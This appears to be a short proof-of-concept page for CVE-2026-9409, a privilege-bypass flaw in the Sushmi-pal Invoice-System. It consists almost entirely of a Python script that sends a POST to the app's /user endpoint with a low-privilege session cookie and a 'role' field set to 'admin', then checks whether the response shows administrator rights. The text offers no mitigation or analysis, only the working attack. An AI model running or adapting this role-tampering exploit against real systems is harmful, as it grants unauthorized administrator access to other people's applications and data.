CVE-2026-9409: Sushmi-pal Invoice-System权限绕过漏洞

# PoC for CVE-2026-9409 import requests def check_privilege_escalation(url, session_cookie): """ Attempts to escalate privileges by manipulating the 'role' parameter. """ target_endpoint = f"{url}/user" headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"session={session_cookie}" } # Payload attempting to change role to administrator payload = { "username": "current_user", "role": "admin" } try: response = requests.post(target_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200 and "admin" in response.text: print("[+] Potential Privilege Escalation Successful!") print(f"[+] Response: {response.text[:200]}") else: print("[-] Exploit failed or payload not effective.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost:8000" session = "low_priv_user_session_token" check_privilege_escalation(target, session)